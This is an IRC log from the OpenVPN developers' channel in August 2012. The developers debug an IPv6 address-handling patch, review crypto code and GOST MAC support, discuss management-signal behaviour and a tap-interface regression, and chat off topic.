now down to 3 patches :) 10:17 <@cron2> "you have combined them all into one huge patch"? :-) 10:20 <@cron2> plaisthos: have you tested 2/4+4/4 with a tcp6 remote? 10:20 <@cron2> I see "interesting" failure 10:20 <@cron2> Mon Aug 6 18:22:57 2012 TCP connection established with [AF_INET6]2607:fc50:100 10:20 <@cron2> 1:5200::4:51194 10:20 <@cron2> Mon Aug 6 18:22:57 2012 TCP/UDP: Incoming packet rejected from [AF_INET6]2607:f 10:20 <@cron2> c50:1001:5200::4:51194[28], expected peer address: [AF_INET6]2607:fc50:1001:5200 10:21 <@cron2> ugh, sorry for the line wrap, again: 10:21 <@cron2> Mon Aug 6 18:22:57 2012 TCP/UDP: Incoming packet rejected from [AF_INET6]2607:fc50:1001:5200::4:51194[28], expected peer address: [AF_INET6]2607:fc50:1001:5200:::51194 (allow this incoming source address/port by removing --remote or adding --float) 10:23 <@cron2> this is from a freebsd74 client, "master" as of yseterday, patch 2/4+4/4 applied 10:24 <@cron2> without the patches, no problems 10:24 < plaisthos> nah, the tmp-dir fix and the external-key reduce the patch count 10:24 < plaisthos> cron2: can I run the t_client tests myself? 10:24 < plaisthos> cron2: I will look into it 10:24 < plaisthos> this looks strange ... 10:24 <@cron2> plaisthos: sure, that's just a framework around "run *these* openvpn invocations" 10:25 <@cron2> I'll send you the script I'm using plus a keybundle for the master server 10:25 < plaisthos> cron2: thanks 10:25 * d12fk awaits the next shitstorm from Alon, duck & cover, rtnetlink patch on the way! =) 10:25 < plaisthos> :D 10:26 <@dazo> d12fk: have you had a holiday lately? since you're willing to put yourself as a target so easily and so often lately? ;-) 10:27 <@d12fk> nah i'm just trying to reduce my patch series by forcing them in upstream 10:27 <@dazo> ahhh ... I see :) 10:27 < plaisthos> d12fk: I know what you are talking about 10:27 <@dazo> d12fk is good boy!!! :) 10:27 * d12fk must die one death, chose bravehaert style =) 10:28 <@d12fk> althought i'm not into the blue paint in the face 10:29 <@d12fk> a lot of stuff piled up because james was so unresponsive on the list, so i gave up sending patches 10:29 <@d12fk> all better now 10:30 <@dazo> :) 10:30 <@dazo> yeah, having a community means you need to communicate with it ... otherwise, that's exactly what will happen 10:32 <@cron2> plaisthos: mail sent. There really is no magic to t_client.sh / t_client.rc, except that once set up, it nicely automates running a set of "fire up vpn with parameter <x>, verify that address <y> has been assigned, ping <z>, shutdown VPN" 10:32 <@d12fk> taking the time now to catch up, as i'm moving towards 2.3 in the next UTM release 10:36 < plaisthos> cron2: thanks 10:37 <@cron2> oh, and the other convenient bit is "having a set of known-good servers that get hammered every time dazo does a git push" - so if something breaks, we're usually confident it's the client side :-) 10:37 <@cron2> (I do run something related to the setup on ecrist's server on my "automatically test server side" prototype) 10:37 < plaisthos> ) 10:37 < plaisthos> :) 10:38 <@dazo> d12fk: would it be possible to generalise your netlink patch somewhat, so that we more easily can also set routes and IP addresses via netlink? (which we briefly discussed last week) 10:39 <@d12fk> that would take too much work for now, but i'm thinking about developing a series for that in the future 10:40 <@d12fk> this one really just does find default routes in the default table and maybe raises awareness that there is such a thing as rtnetlink 10:40 <@dazo> okay ... I would probably suggest pulling in that for 2.4, including this patch then ... as that's a pretty massive feature ... and I'm getting eager to fork out the 2.3 beta branch so we can start 2.4 coding for real 10:41 <@dazo> (pulling in that == complete netlink support) 10:41 < plaisthos> and throw away the old ifconfig/route stuff? 10:42 <@dazo> plaisthos: at least for Linux 10:53 <@cron2> dazo: stop talking about forking 2.4 and go hunting for your bug! 10:53 <@dazo> cron2: I know ...... 10:53 <@cron2> (ack on "throw out the ifconfig/route garbage", besides this :) ) 11:45 <@cron2> plaisthos: the problem is in patch2/4, but I haven't yet dug further 11:47 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 11:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:24 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:24 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:33 <@cron2> it gets weirder and weirder... I was sure udp6 worked, but it doesn't, same error... 12:52 -!- dazo is now known as dazo_afk 13:15 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 13:17 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:17 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 13:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Aug 07 2012 01:40 < plaisthos> cron2: you really don't to know... 01:40 < plaisthos> This works: 01:40 < plaisthos> sock->info.lsa->remote.addr.sa = *(ai->ai_addr); 01:40 < plaisthos> memcpy(&sock->info.lsa->remote.addr.sa.sa_data, ai->ai_addr->sa_data, ai->ai_addr->sa_len); 01:43 < plaisthos> the ai_addr->sa_data sotrage is too short for ipv6 01:43 < plaisthos> strange thing is why it sometimes works and somtimes not ... 01:45 <+krzee> maybe the address isnt always expanded? 01:47 * plaisthos learned that fiddling around with the internals of ai_addr is not the best idea 01:58 < plaisthos> casting to sockaddr_in6 should also work 01:59 < plaisthos> I will prepare a new patch 02:32 <@cron2> plaisthos: need to look, but it could be that sa_data is just defined as "char sa_data[0]", implying "will use as much space as needed" 02:33 <@cron2> but yes, if the "inside" of a structure is not documented, surprises will happen if you go to other platforms... (I had that with the 16-bit accessor to sockaddr_in6, which just does not exist on Solaris) 02:38 < plaisthos> cron2: on os x it is definied as char sa_data[14]; 02:39 < plaisthos> and in_addr6 has 28 byte sa_data 02:43 -!- Netsplit *.net <-> *.split quits: @d12fk 02:47 <@cron2> heh 02:47 <@cron2> my socket.h (on FreeBSD) say 02:47 <@cron2> char sa_data[14]; /* actually longer; address value */ 02:49 <@cron2> in_addr6 has exactly 16 bytes on FreeBSD... 02:57 < plaisthos> yes same on os x 02:57 < plaisthos> which is not surprising considering: 02:58 < plaisthos> /* $FreeBSD: src/sys/netinet6/in6.h,v 1.7.2.4 2001/07/04 09:45:23 ume Exp $ */ 03:02 <@cron2> indeed :) 03:09 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 03:09 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:09 <@d12fk> dazo_afk: will there be an alpha4? 03:20 <@cron2> it we keep adding features, and have at least one known bug still around, that makes sense 03:20 <@cron2> s/adding features/shuffling code around/ :) 03:23 < plaisthos> what is the known bug? 03:29 <@cron2> dazo has something that upon disconnect/reconnect his machines "sometimes" do not properly reconnect 03:30 < plaisthos> oh 03:30 <@cron2> but hasn't been able to find time to properly trace it to start pinpointing the problem 03:31 < plaisthos> gna! 03:31 < plaisthos> forgot to check ammend commit 03:34 <@cron2> ? 03:36 < plaisthos> I made the changes to my patch, commited the changes and mail the change to mailling list 03:37 < plaisthos> Since I have not ammended the last commit the v2 patch is exactly the same as v1 03:37 <@cron2> actually it isn't, the "freeaddrinfo()" bits have moved 03:37 <@cron2> (just saved and diffed) 03:38 <@cron2> oh, v3 looks lots more different :) 03:39 <@cron2> quick test: looks much better, udp6 connected to ::4 just fine 03:39 <@cron2> and tcp6-client does as well 03:39 <@cron2> $child just came home, no time, brb in ~1.5h 04:01 -!- dazo_afk is now known as dazo 04:09 <@dazo> d12fk: cron2: The only reason I pulled in the plugin_log() stuff, is that it made a lot of sense for the v3 plug-in API - and that the API can easily be extended without to much hassle with backwards compatibility ... otherwise, I would really like the next release to be beta1 04:09 <@dazo> I'll accept clean-up patches for IPv6, as that's also new code in 2.3 04:09 <@dazo> or other related features we've introduced in 2.3 04:10 <@dazo> (which is why those two clean-up patches from plaisthos got applied now) 04:12 <@d12fk> ok, are going to release 2.4 any faster than 2.3? 04:14 <@dazo> d12fk: I hope so ... but I always hope we will do things faster, better, stronger ;-) 04:15 <@d12fk> the interactive service will get into 2.4 then (hopefully) 04:15 <@d12fk> dazo: will you accept the backwards compat switch for the old name mangeling behavior? 04:15 <@d12fk> we talked about it at fosdem 04:16 <@d12fk> don't know if it's really needed though 04:16 <@dazo> d12fk: yeah, I'll accept that patch ... as that's something we have "broken" in 2.3 04:16 <@d12fk> we actually finally fixed it =) 04:16 <@dazo> hehehe .... yeah, but the average sys-admin won't see it like that ;-) 04:17 <@d12fk> ok 04:17 <@d12fk> coming within two weeks 04:17 <@dazo> great ... I'll wait for that for beta1 04:34 <@cron2> mmmh 04:34 <@cron2> plaisthos: your v3 patch still does weird things 04:35 <@cron2> it connects fine, but now tries to add every single route *twice* - leading to error messages that shouldn't be there (functionality is fine) 04:35 <@cron2> this is how it normally looks like: 04:36 <@cron2> Tue Aug 7 12:39:05 2012 /sbin/route add -net 10.194.0.0 10.194.1.5 255.255.0.0 04:36 <@cron2> Tue Aug 7 12:39:05 2012 /sbin/route add -net 10.194.1.1 10.194.1.5 255.255.255.255 04:36 <@cron2> and with your patch, I get 04:36 <@cron2> Tue Aug 7 12:38:16 2012 /sbin/route add -net 10.194.0.0 10.194.1.5 255.255.0.0 04:36 <@cron2> Tue Aug 7 12:38:16 2012 /sbin/route add -net 10.194.0.0 10.194.1.5 255.255.0.0 04:36 <@cron2> route: writing to routing socket: File exists 04:36 <@cron2> add net 10.194.0.0: gateway 10.194.1.5: route already in table 04:36 <@cron2> Tue Aug 7 12:38:16 2012 /sbin/route add -net 10.194.0.0 10.194.1.5 255.255.0.0 04:36 <@cron2> route: writing to routing socket: File exists 04:36 <@cron2> add net 10.194.0.0: gateway 10.194.1.5: route already in table 04:36 <@cron2> (oh, 3 times, actually) 04:36 <@cron2> and the same thing for 10.194.1.1/32 04:38 < plaisthos> back to scratch 04:39 <@cron2> mail sent with full log 04:40 < plaisthos> thanks 04:41 < plaisthos> cron2: the server pushes numeric router or routes with hostnames? 04:47 <@cron2> numeric 04:47 <@cron2> Tue Aug 7 12:39:05 2012 PUSH: Received control message: 'PUSH_REPLY,ifconfig-ipv6 fd00:abcd:194:1::1000/64 fd00:abcd:194:1::1,route 10.194.0.0 255.255.0.0,route-ipv6 fd00:abcd:194::/48,tun-ipv6,route 10.194.1.1,topology net30,ping 10,ping-restart 30,ifconfig 10.194.1.6 10.194.1.5' 04:48 <@cron2> sorry, *that* bit was missing 04:48 < plaisthos> cron2: for some reason getaddrinfo returns one than more one resulte for looking up "10.194.0.0" ... 04:49 <@cron2> it looks like it, though I don't understand why 04:49 * plaisthos neither 04:49 < plaisthos> also it looks like the results are identical 04:51 <@cron2> I would hope that getaddrinfo() for an IPv4 address would return the same thing every time :-) 04:53 < plaisthos> actually they are not the same ... 04:53 < plaisthos> (gdb) p *network_list->ai_addr->sa_data@16 04:53 < plaisthos> $36 = "\000\000\n?\000\000\000\000\000\000\000\000\000\000?" 04:53 < plaisthos> (gdb) p *network_list->ai_next->ai_addr->sa_data@16 04:53 < plaisthos> $37 = "\000\000\n?", '\0' <repeats 11 times> 04:54 <@cron2> well, only the first 4 byte are significant 04:59 < plaisthos> found it 04:59 < plaisthos> if you don't specify a socket type (dgram or stream) you get one result for dgram and one for stream 05:04 < plaisthos> new patch version :0 05:10 < plaisthos> does anyone know if the --management-signal 05:10 < plaisthos> can be another signal than USR1? 05:11 <@dazo> plaisthos: I doubt it, but I also don't know what happens if you use --remap-usr1 ... 05:12 < plaisthos> openvpn will die on network change :/ 05:16 < plaisthos> source suggest that it will use SIGTERM instead of SIGUSR when --management-clietn is used 05:17 <@dazo> ouch 05:17 <@d12fk> andj: ping 05:23 <@cron2> plaisthos: so how come I got *3* results? 05:26 < plaisthos> cron2: freebsd supports sctp 05:26 < plaisthos> cron2: maybe you got a reulst for that too :) 05:28 < plaisthos> cron2: i can check if you want :) 05:31 <@cron2> ah 05:31 <@cron2> amazing, but that could very well be :) 05:33 <@cron2> looks good 05:33 <@cron2> (v4, that is) 05:43 < plaisthos> dazo: I will test the management-signal behavior and send a man page patch based on my findings 05:44 <@dazo> plaisthos: thx! that sounds like a good plan 09:01 -!- smartype [~smartype@122.245.144.68] has joined #openvpn-devel 09:14 -!- smartype [~smartype@122.245.144.68] has quit [Ping timeout: 252 seconds] 10:38 <@d12fk> umm 10:39 <@d12fk> could someone verify the blocker I just found 10:41 <@d12fk> crypto.h: struct key_ctx holds a hmac_ctx_t * 10:41 * cron2 points at andj 10:42 <@d12fk> crypto.c: calls hmac_ctx_init() passing this pointer 10:43 <@d12fk> and crypto_openssl.c: does CLEAR(*ptr) 10:43 <@d12fk> which should lead to randomly zeroed memory 10:43 <@d12fk> or am i missing something here? 11:13 <@dazo> d12fk: have you considered how CLEAR() is defined? 11:13 <@dazo> #define CLEAR(x) memset(&(x), 0, sizeof(x)) 11:17 <@dazo> d12fk: but how I see it is that in crypto.c, ALLOC_OBJ() is first used to allocate the needed buffer (which will always return a valid pointer) 11:17 <@d12fk> dazo: but sizeof(x) == sizeof(hmac_ctx_t) == sizeof(HMAC_CTX) ain't it? 11:17 <@d12fk> dazo: where? 11:18 <@d12fk> ah right before it 11:18 <@dazo> crypto.c:470 11:18 <@dazo> so, it will result in sizeof(HMAC_CTX) which should return the right size, how I understand it ... 11:19 <@dazo> and as you then get memset(&(*ptr), 0, sizeof(HMAC_CTX)) -> memset(ptr, 0, sizeof(HMAC_CTX)) ... it should be safe, shouldn't it? 11:22 <@d12fk> i think so, yes 11:22 <@d12fk> why have a pointer to start with then? 11:22 <@dazo> good question, legacy code I think ... as CLEAR() is often used on variables which are not declared as pointers 11:23 <@d12fk> but i get it. panik mode ends here. thanks dazo 11:23 <@dazo> no worries :) 11:23 <@d12fk> this is getting incomprehensible with the gost patches i'm preparing 11:24 <@dazo> ALLOC_OBJ() is surely one of those more clever ways of James again ... looks quite confusing at first point, then this static line code ... but the result is just clever 11:24 <@dazo> :) 11:25 <@d12fk> it will be 11:26 <@d12fk> typedef struct { 11:26 <@d12fk> EVP_MD_CTX md_ctx; 11:26 <@d12fk> EVP_PKEY *key; 11:26 <@d12fk> } hmac_ctx_t; 11:26 <@d12fk> for openssl >= 1.0.0 11:26 <@d12fk> so that the md_ctx is allocated, but the evp_pkey is not 11:28 <@dazo> ahh, so you're simplifying the crypto API somewhat? 11:29 <@dazo> hmmm .... 11:29 * dazo don't quite understand yet ... 11:29 <@dazo> typedef HMAC_CTX hmac_ctx_t; (crypto_openssl.h:50) 11:29 <@d12fk> no it's required to get GOST MAC working 11:29 <@d12fk> it's rather complicating stuff =) 11:29 <@dazo> ahh, okay 11:30 <@d12fk> but it makes the russian happy, and you want the russian to be friends with you, always =) 11:30 <@dazo> okay, this will be review food for andj :) 11:30 <@d12fk> probably 11:32 <@d12fk> it's a bit of a half assed impl from openssl 11:32 <@dazo> Just remembered a quote from an old Norwegian movie ... from mid-80s, about some Americans asking some people why Norway accepted Russians in Norwegian territory .... and the answer was: "A little mouse doesn't pick a fight with a bear, does it?" 11:32 <@d12fk> instead of providing a generalized MAC API they are using the private key EVP stuff with a special MAC key 11:33 <@d12fk> russia is the chuck norris of countries =) 11:33 <@dazo> lol 11:34 <@dazo> so true :) 11:37 < reiffert> oh yeah, they really are. 11:37 < reiffert> got to support 10 sites in Russia, talking to them a couple of times per week 11:41 <@dazo> http://www.youtube.com/watch?feature=player_detailpage&v=h2rwjhCD_gQ#t=201s (the rest of the movie is mostly in Norwegian, unfortunately) 11:41 <@vpnHelper> Title: Orions Belte.1985.Norwegian.saga. - YouTube (at www.youtube.com) 11:43 <@d12fk> haha the dschörmän polar bear hunter 11:43 <@dazo> hehe 11:44 <@d12fk> the end sounds swedish to me 11:44 <@dazo> Norwegian and Swedish is so close that some linguists doesn't separate them as languages, just dialects 11:45 <@d12fk> ah ok 11:45 <@dazo> and the same with Danish as well 11:45 <@d12fk> but the pronounciation in danish is a bit different 11:46 <@d12fk> at least it sounds different to me 11:50 <@dazo> yeah, they have soft consonants, while nor/swe got hard consonants 11:50 <@dazo> but the written Danish is very close to Norwegian 11:52 <@d12fk> i heared they are very common in large parts and are just a result of separatist kinddoms coming up with their own lang forcefully 11:54 <@dazo> They all derive from the germanic language group ... but developed over time ... and then Norway was in union with Denmark for 400 years, until Denmark lost the war where they joined Napoleon and was forced to give Norway to Sweden (who fought against Napoleon) ... and during those 400 years, Danish was the official language in Norway 11:57 <@d12fk> interesting, will consult wikipedia now =) 11:57 <@dazo> :) 11:58 < reiffert> :) 12:04 < reiffert> So there is no influences that the norther folks left when capturing the former UK a 1000 years back? 12:04 < reiffert> which got backported into angel saxony? 12:05 <@dazo> There are some links there too, but I don't know the details there ... I'm not a linguist, just married to one :-P 12:06 < reiffert> :) 12:07 < reiffert> Anglo-Saxons seems to be term 12:09 < reiffert> http://en.wikipedia.org/wiki/File:Britain_peoples_circa_600.svg 12:09 <@vpnHelper> Title: File:Britain peoples circa 600.svg - Wikipedia, the free encyclopedia (at en.wikipedia.org) 13:23 -!- dazo is now known as dazo_afk --- Day changed Wed Aug 08 2012 03:01 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 248 seconds] 03:15 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:32 < plaisthos> I've sent a patch docuent the management-signal behaviour 04:55 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:55 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 04:57 -!- dazo_afk is now known as dazo 05:36 <@cron2> plaisthos: I'm *not* picking on you, just trying to understand all the nasty bits that you're laying your hands on these days :-) 05:58 < plaisthos> cron2: No problem :) 05:58 < plaisthos> I am just fixing even more obscure bugs in my app 05:59 < plaisthos> http://code.google.com/p/ics-openvpn/issues/detail?id=65 05:59 <@vpnHelper> Title: Issue 65 - ics-openvpn - Uninstall of app doesn't disconnect VPN - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 05:59 < plaisthos> (just look at the title :)) 05:59 <@dazo> that's a fun bug! 06:01 < plaisthos> it is also an android bug :) 06:02 < plaisthos> it should kill everything with uid of the app 06:02 <@dazo> heh :) 06:02 <@dazo> wow ... you know you work in a cool company when it got an internal gaming mailing list ..... :-P 06:03 < plaisthos> :D 06:06 < plaisthos> dazo: you seem to be right. I leave out management-signal the process still terminates 06:06 <@dazo> maybe cron2 understands it better? ^^^ 06:07 < plaisthos> err 06:07 < plaisthos> cron2: you seem to be right. I leave out management-signal the process still terminates 06:09 * cron2 understands what plaisthos is talking about (dazo: the rest happened on the devel list) 06:10 <@dazo> yeah, I just noticed the mails and thought you two will figure out the last details :) 06:10 * cron2 should be working on paid-customer stuff in the two hours where the children leave me alone over noon, but this stuff always raises my curiousity 06:11 * dazo understands cron2 quite well .... 06:18 <@cron2> (oh yes, and $customer[2] wants a prototype ready today so they can do a customer demo tomorrow... which is something I never like, coding under time pressure...) 06:18 < plaisthos> cron2: you could also move/duplicate the SIGTERM sentence too management-client 06:21 < plaisthos> and management-client fails to mention that unix socket client is possible too ... 06:21 < plaisthos> I can do a new client tonight if you aren't faster :) 06:29 <@cron2> plaisthos: please do it, I have the nagging suspicion that my available free time is ending *now*... :-( 06:42 < plaisthos> cron2: kk 09:05 <@d12fk> oh, there's 1984 builin in openvpn 09:06 <@d12fk> fun things to discover 09:37 * plaisthos has the feeling that people don't know what openvpn is really is 09:37 <@dazo> hehehe 09:37 * plaisthos just got a bad review: "Doesn't generate certificates" 09:38 <@dazo> wow ... well, the GUI could generate a CSR ... and have a "send CSR by e-mail" .... that could be a neat feature, but not strictly that needed 09:39 < plaisthos> dazo: Yes, but the truth more along the line "OpenVPN app sound like a free VPN app, but the app does not work because it requires certificates I don't have" 09:40 <@dazo> agreed ... that's lack of understanding of what it is 09:45 <@dazo> plaisthos: luckily enough, you have so much good rating feedback, that those "this is crap" ratings just looks silly and clueless :) 09:46 < plaisthos> dazo: yes :) 09:48 < plaisthos> dazo: some of the 1star are clueless by themselves :D 09:48 < plaisthos> http://plai.de/android/Bildschirmfoto%202012-08-08%20um%2016.47.08.png 09:49 <@dazo> "It doesn't work because my Android version doesn't support VPNService API, so it OpenVPN sux" ... that's priceless! 09:49 <@dazo> (paraphrased) 09:50 <@dazo> it's a pity it's not possible to comment ratings :-P 09:51 < plaisthos> if you are a google top developer (or whatever it is called) you can actually respond to comments 09:51 < plaisthos> i also like the ""you can install certificated from a PKCS#12 file with a.pfx or a.p12 extension located vin external storage"...i search but still not found it..what can i do next?" 09:51 <@dazo> ahh ... well, I have enough on my plate to do that just for fun :-P 09:52 <@dazo> The VPNService API, I'd respond with something like "My banana doesn't taste like an Apple, so it's a bad banana" 09:52 < plaisthos> dazo: :) 09:52 < plaisthos> one of the Sony users mailed sony support about the broken images 09:53 < plaisthos> their response was "this is a 4.0 feature and our phones have 4.0 so the app must be buggy" 09:54 <@dazo> lol 09:54 <@cron2> broken images? 09:54 < plaisthos> cron2: Sonys Android 4.0 Images have left out the VPNService 09:55 <@cron2> ah, not "images" as in "fancy pictures" but as in "firmware". Now, how stupid is that??? But sony never ceases to amaze me 09:55 <@dazo> plaisthos: you know that Japanese people can't say 'no'? Instead of "No, we don't have that" ... they might say "Yes, we should not have that" 09:56 * dazo even experienced that on a train on the way into Tokyo once 09:57 < plaisthos> dazo: don't know where sony -ericson- is located. It is now 100% sony but could be as well somewhere in scandinavia 09:58 <@dazo> plaisthos: I'd probably expect most to be closed down in scandinavia as soon as possible ... cheaper to have developers in Asia 09:59 < plaisthos> anyway I marked my app as not compatible with Sony telephones so Sony users don't nag me 10:00 <@dazo> :) 10:01 <@dazo> and one big reason to avoid Sony phones 10:02 < plaisthos> you can still put a cyanogen or something on them 10:02 < plaisthos> but still 10:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 12:27 -!- dazo is now known as dazo_afk 12:37 < plaisthos> cron2: new attempt at getting it right from me :) 13:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 14:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Thu Aug 09 2012 01:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:46 -!- dazo_afk is now known as dazo 08:10 -!- d12fk is now known as d000k 08:10 -!- d000k is now known as d12fk 11:05 < plaisthos> static inline void 11:05 < plaisthos> io_wait (struct context *c, const unsigned int flags) 11:05 < plaisthos> { void io_wait_dowork (struct context *c, const unsigned int flags); 11:05 < plaisthos> whatever programming style that is I don't like it :) 11:16 <@d12fk> whats wrong? 11:18 < plaisthos> I don't like the forward declaration insisde the function body 11:36 <@dazo> agreed 11:37 <@dazo> I don't mind function declarations inside functions, if it is a function which only makes sense inside that scope - and that the function is small .... but fwd decl inside a function, that's messy 11:42 <@d12fk> how do you guys know all this?! =) 11:44 <@dazo> d12fk: maybe we've been reading too much shitty code ;-) 11:44 <@d12fk> then welcome to the project =) 11:44 <@dazo> ahh ... maybe that was what attracted us to openvpn .......... 11:45 * dazo begins to wonder if he should regret ..... ;-) 11:45 <@d12fk> yeah it's a masochist distraction move, so you keep clear of GNOME =)) 11:46 <@dazo> lol 13:46 -!- dazo is now known as dazo_afk 14:04 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:04 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:08 <@cron2> at least OpenVPN is C, and not C++ "works only with a specific release of g++ and glibc++"... :-) 17:10 < plaisthos> I like C++ still more than C :) 17:19 -!- Netsplit *.net <-> *.split quits: ender| 17:21 -!- Netsplit over, joins: ender| 17:50 <+krzee> [15:45] <EugeneKay> Is --topology subnet gonna become the default in 2.3? 17:50 <+krzee> [15:49] <krzee> nice question 17:50 <+krzee> survey says? 20:27 -!- raidz is now known as raidz_afk --- Day changed Fri Aug 10 2012 01:52 <@cron2> we're not changing defaults 02:02 <+krzee> put my vote in for doing it at the next logical time to do it 02:30 <@cron2> chance is "never", because it will break people's configuration at upgrading 02:48 <+krzee> oh i thought it was said it would be default at some point back when it was made 03:16 -!- dazo_afk is now known as dazo 03:19 <@dazo> krzee: a lot will change with v3.0 sometime in the far future ... so at that point, I would vote for doing such changes 03:50 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 03:51 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 03:57 <@cron2> krzee: I wouldn't know about "back when it was made" - James introduced it, and we don't know what plans he had. If he says "change", we change :) 04:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 04:37 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 04:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:22 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 12:13 -!- dazo is now known as dazo_afk 19:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 19:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:51 -!- Netsplit *.net <-> *.split quits: bantu 19:57 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 19:58 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 19:58 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel --- Day changed Sat Aug 11 2012 01:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 12:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:09 -!- reiffert [~thomas@mail.reifferscheid.org] has quit [Ping timeout: 244 seconds] 19:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 20:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 23:23 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:23 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 23:23 -!- dazo_afk is now known as dazo --- Day changed Sun Aug 12 2012 01:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 13:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:18 * ecrist returns --- Day changed Mon Aug 13 2012 05:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:22 <@ecrist> ping anyone 07:23 <+krzee> pong 07:23 <+krzee> wb, how was your trip? 07:24 <@ecrist> have you noticed (probably not) that openvpn now removes the tap interface from the bridge when the vpn restarts? 07:24 <@ecrist> trip was AWESOME 07:24 <@ecrist> I had an absolute blast 07:24 <+krzee> badass 07:25 <+krzee> and as you guessed, i hadnt noticed that l;] 07:25 <+krzee> looked for a persist option? 07:25 <@ecrist> it seems to be a change from 2.2.2 to 2.3 07:26 <@cron2> ecrist: which os? 07:26 <@ecrist> freebsd 07:26 <@cron2> it might be due to my cleanup work where openvpn just left old interfaces around after exiting (which is almost never the right thing to do) 07:27 <@cron2> are you calling openvpn with --persist-tun? 07:27 <@cron2> that should leave the tap alone 07:27 <@cron2> (even if it says "-tun" it applies to "tun or tap interface") 07:27 <@ecrist> yes we are 07:28 <@cron2> is this "restarting by killing openvpn and starting a new process" or "restarting internally upon connection loss"? 07:28 <@ecrist> the latter 07:29 <@cron2> this should not kill the tap. could you send me a full log file with the initial start and the restart upon connection loss, with --verb 3 (by mail to gert@greenie.muc.de)? 07:30 <@ecrist> yeah, might take a few minutes, will come from Thomas Johnson 07:34 <@cron2> it might take a few days to reply :) I'm at work right now, and lots of paperwork heaping on my desk at home. But I'll look into it ASAP. 07:37 <@ecrist> thank 07:37 <@ecrist> s 07:58 <@ecrist> cron2: tom sent the emails 08:02 <@cron2> got it, thanks 08:05 <@cron2> well, the logfile I have contains... 08:05 <@cron2> Aug 13 07:16:01 shawshank-1 openvpn[10203]: SIGTERM[hard,] received, process exiting 08:05 <@cron2> that's not "internal restart" 08:06 <@cron2> but in any case - if the tap0 was present before OpenVPN started, it should arguably not destroy it upon exit 08:08 <@cron2> moar code cleanup needed... 08:19 < plaisthos> cron2: singal USR1 produces a similar message 08:20 < plaisthos> (signal from management console) 08:20 <@cron2> but SIGTERM certainly sounds like, well, SIGTERM 08:22 < plaisthos> :) 08:22 < plaisthos> I meant that using kill -SIGTERM and signal SIGTERM from management produce the same log message 08:23 <@cron2> well, that's unsurprising as the process doesn#t know where the signal was coming from :-) but ecrist wasn't mentioning management, and excplicitely said it was not an external restart 08:24 